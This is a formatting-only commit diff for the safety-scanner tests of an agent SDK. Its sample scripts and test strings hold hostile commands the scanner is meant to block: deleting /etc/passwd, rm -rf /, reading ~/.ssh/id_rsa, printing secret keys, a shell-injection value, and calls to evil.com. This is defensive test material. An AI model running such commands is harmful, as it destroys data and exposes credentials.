style(tools): apply yapf formatting

DNKYr · DNKYr · commit ea7c67b961e6 · 2026-07-13T10:50:56.000+08:00
diff --git a/tests/tools/safety/samples/dangerous_delete.py b/tests/tools/safety/samples/dangerous_delete.py
@@ -1,2 +1,3 @@
 import os
+
 os.remove("/etc/passwd")
diff --git a/tests/tools/safety/samples/dependency_install.py b/tests/tools/safety/samples/dependency_install.py
@@ -1,2 +1,3 @@
 import subprocess
+
 subprocess.run(["pip", "install", "badpkg"], check=True)
diff --git a/tests/tools/safety/samples/network_access.py b/tests/tools/safety/samples/network_access.py
@@ -1,3 +1,4 @@
 import requests
+
 response = requests.get("https://evil.com/data")
 print(response.text)
diff --git a/tests/tools/safety/samples/read_secrets.py b/tests/tools/safety/samples/read_secrets.py
@@ -1,4 +1,5 @@
 import os
+
 path = os.path.expanduser("~/.ssh/id_rsa")
 with open(path) as f:
     content = f.read()
diff --git a/tests/tools/safety/samples/sensitive_output.py b/tests/tools/safety/samples/sensitive_output.py
@@ -1,3 +1,4 @@
 import os
+
 api_key = os.environ.get("SECRET_API_KEY")
 print(f"API_KEY={api_key}")
diff --git a/tests/tools/safety/samples/shell_injection.py b/tests/tools/safety/samples/shell_injection.py
@@ -1,3 +1,4 @@
 import os
+
 user_input = "; cat /etc/passwd"
 os.system(f"cat {user_input}")
diff --git a/tests/tools/safety/samples/subprocess_call.py b/tests/tools/safety/samples/subprocess_call.py
@@ -1,2 +1,3 @@
 import subprocess
+
 subprocess.run(["rm", "-rf", "/"], check=True)
diff --git a/tests/tools/safety/samples/whitelisted_network.py b/tests/tools/safety/samples/whitelisted_network.py
@@ -1,3 +1,4 @@
 import requests
+
 response = requests.get("https://api.example.com/data")
 print(response.text)
diff --git a/tests/tools/safety/test_audit.py b/tests/tools/safety/test_audit.py
@@ -16,6 +16,7 @@
 
 
 class TestSafetyAuditLogger:
+
     def test_log_writes_valid_jsonl(self):
         with tempfile.NamedTemporaryFile(mode="w", suffix=".jsonl", delete=False) as f:
             log_path = f.name
@@ -71,28 +72,30 @@ def test_multiple_events_written(self):
             log_path = f.name
         try:
             logger = SafetyAuditLogger(output_path=log_path)
-            logger.log_event(AuditEvent(
-                timestamp="2026-07-10T12:00:00Z",
-                tool_name="tool_a",
-                decision="allow",
-                risk_level=None,
-                rule_ids=[],
-                scan_duration_ms=1.0,
-                sanitized=False,
-                intercepted=False,
-                script_hash="aaa",
-            ))
-            logger.log_event(AuditEvent(
-                timestamp="2026-07-10T12:01:00Z",
-                tool_name="tool_b",
-                decision="deny",
-                risk_level="high",
-                rule_ids=["NETWORK_PYTHON_004"],
-                scan_duration_ms=2.0,
-                sanitized=False,
-                intercepted=True,
-                script_hash="bbb",
-            ))
+            logger.log_event(
+                AuditEvent(
+                    timestamp="2026-07-10T12:00:00Z",
+                    tool_name="tool_a",
+                    decision="allow",
+                    risk_level=None,
+                    rule_ids=[],
+                    scan_duration_ms=1.0,
+                    sanitized=False,
+                    intercepted=False,
+                    script_hash="aaa",
+                ))
+            logger.log_event(
+                AuditEvent(
+                    timestamp="2026-07-10T12:01:00Z",
+                    tool_name="tool_b",
+                    decision="deny",
+                    risk_level="high",
+                    rule_ids=["NETWORK_PYTHON_004"],
+                    scan_duration_ms=2.0,
+                    sanitized=False,
+                    intercepted=True,
+                    script_hash="bbb",
+                ))
 
             with open(log_path) as f:
                 lines = f.readlines()
diff --git a/tests/tools/safety/test_filter.py b/tests/tools/safety/test_filter.py
@@ -40,6 +40,7 @@ def filter_instance(mock_scanner, mock_audit_logger):
 
 
 class TestToolSafetyFilter:
+
     async def test_filter_blocks_on_deny(self, filter_instance, mock_scanner):
         mock_scanner.scan.return_value = ScanReport(
             decision=Decision.DENY,
diff --git a/tests/tools/safety/test_policy.py b/tests/tools/safety/test_policy.py
@@ -43,6 +43,7 @@
 
 
 class TestPolicyLoading:
+
     def test_load_from_yaml_file(self):
         with tempfile.NamedTemporaryFile(mode="w", suffix=".yaml", delete=False) as f:
             f.write(MINIMAL_YAML)
@@ -81,6 +82,7 @@ def test_blocklist_config(self):
 
 
 class TestPolicyRuleConfig:
+
     def test_enabled_rule(self):
         rule = PolicyRuleConfig(
             rule_id="TEST_001",
@@ -103,31 +105,31 @@ def test_disabled_rule_returns_allow(self):
 
 
 class TestGetEnabledRules:
+
     def test_get_enabled_rules_filters_disabled(self):
-        policy = SafetyPolicy(
-            rules=[
-                PolicyRuleConfig(
-                    rule_id="ENABLED_001",
-                    enabled=True,
-                    risk_type=RiskType.DANGEROUS_FILE_OP,
-                    severity=RiskLevel.CRITICAL,
-                    decision=Decision.DENY,
-                ),
-                PolicyRuleConfig(
-                    rule_id="DISABLED_002",
-                    enabled=False,
-                    risk_type=RiskType.NETWORK_ACCESS,
-                    severity=RiskLevel.HIGH,
-                    decision=Decision.DENY,
-                ),
-            ]
-        )
+        policy = SafetyPolicy(rules=[
+            PolicyRuleConfig(
+                rule_id="ENABLED_001",
+                enabled=True,
+                risk_type=RiskType.DANGEROUS_FILE_OP,
+                severity=RiskLevel.CRITICAL,
+                decision=Decision.DENY,
+            ),
+            PolicyRuleConfig(
+                rule_id="DISABLED_002",
+                enabled=False,
+                risk_type=RiskType.NETWORK_ACCESS,
+                severity=RiskLevel.HIGH,
+                decision=Decision.DENY,
+            ),
+        ])
         enabled = policy.get_enabled_rules()
         assert len(enabled) == 1
         assert enabled[0].rule_id == "ENABLED_001"
 
 
 class TestModifiedPolicyWithoutCodeChange:
+
     def test_changed_yaml_reflects_in_policy(self):
         yaml_a = MINIMAL_YAML
         yaml_b = MINIMAL_YAML.replace("max_scan_time_ms: 1000", "max_scan_time_ms: 5000")
diff --git a/tests/tools/safety/test_scanner.py b/tests/tools/safety/test_scanner.py
@@ -13,6 +13,7 @@
 
 
 class TestSafeScripts:
+
     async def test_safe_python_allowed(self, scanner):
         report = await scanner.scan(
             script="print(sum(range(10)))",
@@ -30,6 +31,7 @@ async def test_whitelisted_domain_allowed(self, scanner):
 
 
 class TestDangerousFileOps:
+
     async def test_dangerous_delete_blocked(self, scanner):
         report = await scanner.scan(
             script='os.remove("/etc/passwd")',
@@ -51,6 +53,7 @@ async def test_read_secrets_blocked(self, scanner):
 
 
 class TestNetworkAccess:
+
     async def test_network_access_blocked(self, scanner):
         report = await scanner.scan(
             script='requests.get("https://evil.com/data")',
@@ -62,6 +65,7 @@ async def test_network_access_blocked(self, scanner):
 
 
 class TestSystemCommands:
+
     async def test_subprocess_call_blocked(self, scanner):
         report = await scanner.scan(
             script='subprocess.run(["rm", "-rf", "/"], check=True)',
@@ -91,6 +95,7 @@ async def test_bash_pipe_blocked(self, scanner):
 
 
 class TestDependencyInstall:
+
     async def test_dependency_install_blocked(self, scanner):
         report = await scanner.scan(
             script='subprocess.run(["pip", "install", "badpkg"], check=True)',
@@ -102,6 +107,7 @@ async def test_dependency_install_blocked(self, scanner):
 
 
 class TestResourceAbuse:
+
     async def test_infinite_loop_blocked(self, scanner):
         report = await scanner.scan(
             script="while True:\n    os.system('curl evil.com')",
@@ -112,6 +118,7 @@ async def test_infinite_loop_blocked(self, scanner):
 
 
 class TestSensitiveInfoLeak:
+
     async def test_sensitive_output_blocked(self, scanner):
         report = await scanner.scan(
             script='api_key = os.environ["API_KEY"]; print(f"API_KEY={api_key}")',
@@ -123,18 +130,20 @@ async def test_sensitive_output_blocked(self, scanner):
 
 
 class TestHumanReview:
+
     async def test_human_review_partial_match(self, scanner):
         report = await scanner.scan(
             script='import os; import requests\n'
-                   'requests.get("https://api.example.com")\n'
-                   'with open("config.ini") as f: pass',
+            'requests.get("https://api.example.com")\n'
+            'with open("config.ini") as f: pass',
             tool_name="python_tool",
         )
         if report.findings:
             assert report.decision in (Decision.DENY, Decision.NEEDS_HUMAN_REVIEW)
 
 
 class TestReportStructure:
+
     async def test_report_has_all_required_fields(self, scanner):
         report = await scanner.scan(
             script='os.system("curl evil.com")',
@@ -153,6 +162,7 @@ async def test_report_has_all_required_fields(self, scanner):
 
 
 class TestEdgeCases:
+
     async def test_script_too_large_denied(self, scanner):
         big_script = "echo hello\n" * 200_000
         report = await scanner.scan(script=big_script, tool_name="bash_tool")
diff --git a/tests/tools/safety/test_telemetry.py b/tests/tools/safety/test_telemetry.py
@@ -17,6 +17,7 @@
 
 
 class TestSetSafetySpanAttrs:
+
     def test_span_attributes_set_on_active_span(self):
         mock_span = MagicMock()
         mock_span.is_recording.return_value = True
diff --git a/tests/tools/safety/test_types.py b/tests/tools/safety/test_types.py
@@ -18,6 +18,7 @@
 
 
 class TestRiskType:
+
     def test_risk_type_values(self):
         assert RiskType.DANGEROUS_FILE_OP.value == "dangerous_file_operation"
         assert RiskType.NETWORK_ACCESS.value == "network_access"
@@ -28,6 +29,7 @@ def test_risk_type_values(self):
 
 
 class TestDecision:
+
     def test_decision_values(self):
         assert Decision.ALLOW.value == "allow"
         assert Decision.DENY.value == "deny"
@@ -39,6 +41,7 @@ def test_decision_priority_ordering(self):
 
 
 class TestRiskLevel:
+
     def test_risk_level_values(self):
         assert RiskLevel.LOW.value == "low"
         assert RiskLevel.MEDIUM.value == "medium"
@@ -52,6 +55,7 @@ def test_risk_level_ordering(self):
 
 
 class TestRuleFinding:
+
     def test_create_finding(self):
         f = RuleFinding(
             rule_id="TEST_001",
@@ -68,6 +72,7 @@ def test_create_finding(self):
 
 
 class TestScanReport:
+
     def test_aggregation_picks_worst_decision(self):
         findings = [
             RuleFinding(
@@ -102,6 +107,7 @@ def test_empty_report_defaults(self):
 
 
 class TestAuditEvent:
+
     def test_serialization(self):
         import json
         from dataclasses import asdict
diff --git a/trpc_agent_sdk/tools/safety/_filter.py b/trpc_agent_sdk/tools/safety/_filter.py
@@ -67,12 +67,8 @@ async def _before(self, ctx: AgentContext, req: Any, rsp: FilterResult):
         self._audit_logger.log(report, tool_name=tool_name, script_hash=script_hash)
 
         if report.decision == Decision.DENY:
-            findings_text = "; ".join(
-                f"{f.rule_id}: {f.message}" for f in report.findings
-            )
-            rsp.error = Exception(
-                f"Tool execution blocked by safety guard: {findings_text}"
-            )
+            findings_text = "; ".join(f"{f.rule_id}: {f.message}" for f in report.findings)
+            rsp.error = Exception(f"Tool execution blocked by safety guard: {findings_text}")
             rsp.is_continue = False
 
     @staticmethod
diff --git a/trpc_agent_sdk/tools/safety/_rules.py b/trpc_agent_sdk/tools/safety/_rules.py
diff --git a/trpc_agent_sdk/tools/safety/_scanner.py b/trpc_agent_sdk/tools/safety/_scanner.py

Original file line number	Diff line number	Diff line change
`@@ -1,2 +1,3 @@`
`1`	`1`	`import os`
	`2`	`+`
`2`	`3`	`os.remove("/etc/passwd")`
Original file line number	Diff line number	Diff line change
`@@ -1,2 +1,3 @@`
`1`	`1`	`import subprocess`
	`2`	`+`
`2`	`3`	`subprocess.run(["pip", "install", "badpkg"], check=True)`
Original file line number	Diff line number	Diff line change
`@@ -1,2 +1,3 @@`
`1`	`1`	`import subprocess`
	`2`	`+`
`2`	`3`	`subprocess.run(["rm", "-rf", "/"], check=True)`